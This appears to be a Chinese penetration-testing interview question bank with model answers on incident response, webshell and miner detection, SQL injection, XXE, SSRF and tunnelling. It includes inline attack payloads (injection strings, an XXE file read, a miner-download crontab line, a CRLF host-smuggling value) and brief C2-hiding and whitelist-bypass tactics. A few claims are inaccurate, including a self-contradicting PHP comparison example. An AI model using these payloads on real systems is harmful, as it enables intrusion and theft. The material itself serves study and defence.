2025年渗透测试面试题总结-拷打题库35(题目+回答)
网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
2025年渗透测试面试题总结-拷打题库35
木马驻留方式及敏感位置排查
常用威胁情报平台
设备误报处理(日志分析)
扫描流量与手动流量区分
内网告警处理流程
应急响应流程
防火墙判断反序列化漏洞
挖矿病毒排查与文件定位
Webshell流量溯源思路
Webshell流量交互特征
SQL异常流量分析思路
后门检测工具
厂商安全设备使用经验
安全研究岗位理解
开源框架审计经验
XXE漏洞代码成因
无法预编译的SQL语句
获取MySQL版本
宽字节注入原理与编码限制
非出网机器文件传输(DMZ区)
PHP代码审计流程
ThinkPHP框架审计差异
TCP/UDP不出网的代理搭建
多级代理与CDN中转实现
内网ACL白名单绕过
PHP环境下SSRF深度利用
利用内网机器请求内网服务
SSRF白名单修复注意事项
PHP中===与==的区别
2025年渗透测试面试题总结-拷打题库35
木马驻留的方式有哪些(去哪些敏感位置排查木马)? 你知道哪些常用的威胁情报平台? 设备误报如何处理(日志) 如何查看区分是扫描流量和手动流量? 内网告警应该如何处理,流程是怎么样的? 应急响应的简单流程? 防火墙怎样判断这是一个反序列化漏洞? 应急响应如何查找挖矿病毒,如何通过进程找到挖矿文件? 假设发现web应用服务器发现文件异常增多,初步怀疑被上传webshel,描述流量分析溯源的思路? Webshell流量交互的流量特征? SQL查询异常流量分析的思路? 你使用什么工具来判断系统是否存在后门? 有没有了解或者使用过厂商的安全设备?(有的话请举例说明) 你投的岗位是安全研究实习生,你了解我们这边主要是做什么的吗 有没有审过开源框架、cms、中间件之类的 xxe是怎么造成的,从代码层面来看 有哪些SQL语句无法使用预编译的方式? 已知example.com/?id = 1,是mysql,如何获得mysql版本? 宽字节注入原理,是只有 gbk 编码的才存在宽字节注入吗? 一台机器不能出网,如何把一个 exe 文件放到对应的目标机器上去(dmz 区) 拿到一份php代码做审计,审计的流程大概是怎样的 对php开发框架熟吗?比如ThinkPHP这些 给的源码是ThinkPHP框架的话,审计起来和没有使用框架的有什么不同,从流程上或者从关注的点上有什么不同 如果 tcp 和 udp 不出网 用什么策略来进行代理的搭建 多级代理如何做一个 cdn 进行中转 具体怎么实现 内网有 acl 策略 如果是白名单 如何绕过这个白名单进行出网上线 ip 和域名的都有可能 在php环境下,怎么最大程度的利用ssrf,拿到shell或者进内网 怎么利用内网的机器请求内网中的服务 如果用白名单策略修复ssrf,从用户输入的变量里拿出要访问的目标,这个要注意哪些,因为一些url会通过特殊的字符做白名单绕过,对取变量这个操作有哪些要注意的细节? php中三个等号和两个等号有什么区别
木马驻留方式及敏感位置排查
- 注册表启动项
- 路径:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
、HKEY_LOCAL_MACHINE\...
- 隐蔽手段:键值名称伪装(如
svchost.exe
→svch0st.exe
),权限篡改(隐藏管理员权限)。- 工具:使用Autoruns或Sysinternals工具排查异常条目。
- 系统服务与计划任务
- 服务:通过
sc query
检查未签名服务,对比服务描述与文件哈希是否一致。- 计划任务:查看
%SystemRoot%\Tasks
目录,分析任务执行频率(如每分钟触发)。- WMI持久化与启动文件夹
- WMI事件:利用PowerShell查询
Get-WmiObject -Namespace root\Subscription
,检查恶意事件订阅。- 用户启动目录:检查
Startup
文件夹中的快捷方式或恶意脚本(如VBS、PowerShell)。
常用威胁情报平台
- 开源平台(OSINT)
- VirusTotal:支持文件哈希检测、IP/域名关联分析,可追溯攻击基础设施。
- AlienVault OTX:提供APT组织追踪和社区共享的IOC(如恶意IP列表)。
- 商业平台
- 微步在线:国内APT情报整合,支持API实时拦截恶意域名。
- Recorded Future:基于AI预测攻击趋势,覆盖暗网数据监控。
- 行业协作工具
- MISP:支持STIX/TAXII格式情报共享,自动化同步至SIEM系统。
设备误报处理(日志分析)
- 误报判定
- 时间窗口分析:确认告警是否与业务高峰(如促销活动)重叠。
- 上下文关联:检查同一IP的其他请求是否合法(如登录后触发误报)。
- 规则优化
- 白名单机制:将业务关键路径(如支付接口)加入例外。
- 动态阈值:根据流量自动调整频率限制(如每秒请求数)。
- 自动化响应
- SOAR集成:自动标记误报事件并更新规则库。
- 日志分类:使用ELK的Kibana面板标记
false_positive
,优化模型训练。
扫描流量与手动流量区分
- 行为特征
- 扫描流量:固定UA(如
nmap
)、连续请求无随机延迟。- 手动攻击:随机Referer、间歇性操作(如尝试不同Payload)。
- 协议特征
- 扫描流量:异常TCP标志(如SYN-only)、不完整SSL握手。
- 工具指纹:Nmap的TCP窗口大小(1024)、OpenVAS的特定SSL套件。
- 目标特征
- 扫描流量:广泛探测非业务端口(如445/3389)。
- 手动攻击:聚焦特定漏洞路径(如
/api/v1/exploit
)。
内网告警处理流程
- 初步遏制
- 隔离设备:通过ACL或主机防火墙阻断出站流量。
- 进程冻结:使用EDR工具(如CrowdStrike)挂起可疑进程。
- 证据收集
- 内存取证:通过Volatility提取恶意进程内存镜像。
- 日志聚合:集中分析域控日志(如Event ID 4768异常票据请求)。
- 横向排查
- 漏洞扫描:使用Nessus检测内网主机(如永恒之蓝漏洞)。
- 凭证审计:检查Kerberos日志(如Golden Ticket攻击痕迹)。
应急响应流程
- 准备阶段
- 工具包:集成FTK Imager、Wireshark、Log2Timeline。
- 联络机制:明确法律、公关、技术团队24小时响应链。
- 检测分析
- 时间线构建:合并防火墙、IDS、主机日志定位入侵时间点。
- 样本分析:在Cuckoo沙箱运行恶意文件,提取C2域名。
- 根除恢复
- 持久化清理:检查注册表、服务、计划任务中的恶意条目。
- 备份验证:从隔离备份恢复数据,对比哈希确保未被篡改。
防火墙判断反序列化漏洞
- 流量特征
- 协议标识:Java序列化头
AC ED 00 05
、HTTP参数中的Base64编码数据。- 载荷特征:包含
InvokerTransformer
、TemplatesImpl
等危险类名。- 防御策略
- 输入过滤:拦截包含
ObjectInputStream
的请求参数。- 协议限制:禁用RMI/JMX,强制使用JSON/XML等安全格式。
挖矿病毒排查与文件定位
- 进程分析
- 高负载进程:Linux使用
top
查看CPU占用率超过90%的进程。- 隐藏进程:检查
/proc/<PID>/exe
是否指向非常见路径(如/tmp/.X11-unix
)。- 网络特征
- 矿池通信:
netstat -ano
发现连接至3333端口(Stratum协议)。- DNS请求:解析
xmrpool.eu
等矿池域名。- 文件特征
- 配置文件:搜索
config.json
中的XMR钱包地址(以4
开头)。- 定时任务:
crontab -l
发现下载脚本(如curl http://malware.com/xmrig.sh
)。
Webshell流量溯源思路
- HTTP请求特征
- 加密参数:POST请求中包含
eval
、base64_decode
等函数。- 工具指纹:冰蝎的动态密钥协商流量、蚁剑的特定UA头。
- 日志关联
- 时间戳匹配:通过
access.log
定位上传时间,关联文件创建时间。- 源IP追踪:结合CDN日志获取真实IP,威胁情报平台查询历史行为。
- 文件分析
- 内容特征:搜索
system
、shell_exec
等危险函数,对比正常文件哈希。
Webshell流量交互特征
- 请求特征
- 固定路径:频繁访问
/uploads/
等非业务目录。- 长参数值:POST数据长度异常(如加密后超过10KB)。
- 加密与编码
- Base64编码:参数值以
%3D
结尾,长度符合4的倍数。- 异或加密:载荷中包含
0x1A
等重复异或密钥。- 响应特征
- 动态内容:相同请求返回不同结果(如
ls /tmp
命令输出)。- 错误伪装:HTTP 200状态码但返回空内容或伪装错误页面。
SQL异常流量分析思路
- 注入特征
- 语句结构:
' OR 1=1--
、UNION SELECT 1,@@version
。- 时间盲注:
SLEEP(5)
导致响应延迟,伴随条件判断。- 上下文异常
- 参数类型不符:数字型参数中出现字符串拼接(如
id=1'
)。- 敏感函数调用:
LOAD_FILE()
读取文件、INTO OUTFILE
写Shell。- 防御策略
- 预编译语句:使用参数化查询(如Java的
PreparedStatement
)。- 输入过滤:拦截
;
、--
等特殊字符,限制函数调用权限。
后门检测工具
- Rootkit检测
- 工具:Chkrootkit(Linux)、GMER(Windows)扫描隐藏进程和驱动。
- 检测点:
lsmod
与/proc/modules
对比,发现未签名内核模块。- 文件完整性校验
- 工具:Tripwire生成系统目录哈希基线,监控异常修改。
- 重点路径:
/bin
、/usr/bin
、%SystemRoot%\System32
。- 网络层检测
- 端口监控:
netstat -tuln
发现异常监听端口(如6667)。- 流量分析:Wireshark检测DNS隧道(如长域名请求)。
厂商安全设备使用经验
- 防火墙(Palo Alto)
- 功能:基于应用ID拦截Tor流量,WildFire沙箱分析未知文件。
- 策略优化:限制高危协议(如SMBv1),启用威胁情报联动。
- EDR(CrowdStrike)
- 进程追踪:可视化展示进程链(如PowerShell调用恶意DLL)。
- 内存防护:拦截无文件攻击(如Meterpreter反射注入)。
- IDS(Suricata)
- 规则定制:编写规则匹配Cobalt Strike Beacon心跳包。
- 性能调优:启用多线程和硬件加速(如FPGA)。
安全研究岗位理解
- 核心职责
- 漏洞研究:分析0day漏洞(如Log4j2 JNDI注入)的利用链。
- 攻防演练:设计钓鱼攻击到域控提权的完整渗透路径。
- 技术能力
- 逆向工程:IDA Pro分析勒索软件加密逻辑(如AES-256)。
- 协议分析:解码自定义C2协议(如HTTP隧道隐写数据)。
- 成果输出
- PoC开发:编写漏洞验证脚本(如Python请求Exploit)。
- 威胁报告:输出APT组织画像(如攻击手法、IOC列表)。
开源框架审计经验
- 审计案例
- ThinkPHP:5.x版本路由解析漏洞导致RCE(如
/index.php?s=/ 模块/控制器/操作
)。- Apache Shiro:RememberMe反序列化漏洞(CVE-2016-4437)。
- 审计重点
- 危险函数:全局搜索
eval()
、preg_replace(/e)
等高风险代码。- 输入过滤:验证参数是否过滤
../
、%00
等绕过字符。- 框架特性
- 路由机制:检查动态路由解析(如
/user/{id}
)是否导致未授权访问。- 安全配置:验证默认配置(如CSRF保护)是否启用。
XXE漏洞代码成因
- 代码缺陷
- 外部实体启用:PHP中
libxml_disable_entity_loader(false)
。- XML解析配置:未禁用DTD(如
DOMDocument::resolveExternals
开启)。- 攻击载荷
- 文件读取:
<!ENTITY xxe SYSTEM "file:///etc/passwd">
。- SSRF利用:
<!ENTITY xxe SYSTEM "http://内网IP:8080">
。- 修复方案
- 禁用外部实体:PHP设置
libxml_disable_entity_loader(true)
。- 输入过滤:移除XML中的
<!DOCTYPE>
和<!ENTITY
声明。
无法预编译的SQL语句
- 动态表名/列名
- 场景:
SELECT * FROM {table}
,表名需动态拼接。- 风险:攻击者注入恶意表名(如
user; DROP TABLE users--
)。- 复杂条件查询
- 场景:
ORDER BY {column}
,排序字段需动态指定。- 防御:限制排序字段为白名单(如仅允许
id
、name
)。
获取MySQL版本
- 基于报错注入
- 注入点:
example.com/?id=1' AND updatexml(1,concat(0x7e,@@version),1)--
- 结果:返回报错信息包含版本号(如
5.7.32
)。- 联合查询
- 注入语句:
UNION SELECT @@version,2,3
- 前提:字段数需匹配,通过
ORDER BY
探测列数。
宽字节注入原理与编码限制
- 原理
- 编码转换:GBK等双字节编码中,
'
被转换(如%df%27
→運'
)。- 绕过转义:
%df%27
被转义为%df%5c%27
,但%df%5c
形成合法字符(如運
)。- 编码限制
- 非GBK编码:UTF-8等单字节编码通常不触发,但需具体分析转换逻辑。
非出网机器文件传输(DMZ区)
- 协议隧道
- DNS隧道:通过
dnscat2
将文件分块编码为DNS查询请求。- ICMP隧道:使用
ptunnel
将数据封装在ICMP包中传输。- 物理媒介
- USB植入:通过BadUSB设备自动执行文件下载脚本。
PHP代码审计流程
- 入口点分析
- 路由文件:检查
index.php
、.htaccess
中的URL重写规则。- 全局函数:追踪
$_GET
、$_POST
参数传递路径。- 危险函数追踪
- 代码执行:
eval()
、assert()
、create_function()
。- 文件操作:
file_put_contents()
、unlink()
。- 框架特性审计
- 路由解析:检查动态路由(如
/user/{id}
)是否导致未授权访问。- ORM安全:验证SQL是否使用预编译(如ThinkPHP的
where()
方法)。
ThinkPHP框架审计差异
- 流程差异
- 路由机制:需检查
route.php
配置,避免解析漏洞(如5.x版本RCE)。- 输入过滤:
I()
函数自动过滤,但需验证是否绕过(如数组参数)。- 关注点
- 模板引擎:检查模板文件(如
.html
)是否包含PHP代码执行风险。- 缓存配置:验证缓存目录权限是否过宽(如
/runtime
可写)。
TCP/UDP不出网的代理搭建
- 协议隧道
- ICMP隧道:使用
icmpsh
或pingtunnel
绕过防火墙限制。- DNS隧道:通过
dns2tcp
将TCP流量封装为DNS查询。- 应用层代理
- HTTP代理:利用Web服务器(如Nginx)的
proxy_pass
转发流量。
多级代理与CDN中转实现
- 架构设计
- 多级跳板:通过SSH隧道链式连接(如A→B→C)。
- CDN隐藏:将C2服务器域名解析至CDN(如Cloudflare),隐藏真实IP。
- 流量混淆
- HTTPS加密:所有代理流量使用TLS加密,避免特征检测。
- 随机延迟:模拟正常用户请求间隔,避免频率检测。
内网ACL白名单绕过
- 域名伪造
- 相似域名:注册
example.com
→examp1e.com
,诱导误判。- 子域名滥用:利用已授权的子域名(如
api.example.com
)作为C2。- 协议滥用
- HTTPS隧道:将流量封装在合法HTTPS请求中(如云存储API)。
- 邮件外联:通过SMTP协议外传数据(如附件加密)。
PHP环境下SSRF深度利用
- 协议利用
- 文件读取:
file:///etc/passwd
。- 内网探测:
http://192.168.1.1:8080
扫描存活服务。- 漏洞升级
- Redis未授权访问:通过
dict://
协议执行FLUSHALL
写入Webshell。- 云元数据泄露:访问
http://169.254.169.254
获取临时凭证。
利用内网机器请求内网服务
- 代理链搭建
- SSH动态转发:
ssh -D 1080 user@内网IP
,通过本地SOCKS代理访问。- reGeorg隧道:上传PHP脚本,建立HTTP隧道穿透内网。
SSRF白名单修复注意事项
- 输入解析陷阱
- URL编码绕过:
http://example.com@malicious.com
→ 实际访问malicious.com
。- 特殊字符:
http://127.0.0.1:80%0d%0aHost: evil.com
。- 修复方案
- 严格解析:使用
parse_url()
提取Host,并验证是否为IP白名单。- 禁用高危协议:如
file://
、gopher://
。
PHP中
===
与==
的区别
- 类型检查
==
:松散比较(如"123" == 123
→true
)。===
:严格比较(类型和值均需一致)。- 安全影响
- 认证绕过:
if ($input == "admin")
可能被0
绕过(如0 == "admin"
→false
)。